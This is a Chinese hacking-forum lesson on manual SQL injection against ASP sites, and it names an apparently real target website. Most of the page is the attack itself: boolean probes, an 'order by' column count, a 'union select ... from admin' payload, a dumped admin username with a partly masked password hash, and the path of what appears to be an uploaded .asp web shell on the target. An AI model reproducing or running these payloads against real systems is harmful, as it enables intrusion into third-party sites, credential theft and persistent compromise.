免费培训之脚本渗透第七课:手工注入asp

tygv726

饭客网络一周年免费培训之脚本渗透第七课:手工注入asp
www.hackfans.com.cn

教程名称:手工注入asp
讲师:I.n.c゛啵、 QQ:380****7774
目标站:http://www.hfgytz.com/

'   返回错误
and 1=1   返回正常页面
and 1=2   返回错误
xor exists (select * from admin)  
order by 10
17错误  16 返回正常页面   16
xor 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from admin
username  password
admin1  7a57a5a74***94a0e  
admin
bookpic/201****5003.asp
http://www.hfgytz.com/admin/up/bookpic/201****5003.asp
and 1=1 1=2 '
xor 1=1 返回错误

http://www.hackfans.com.cn/mianfei/jiaoben/jb7.rar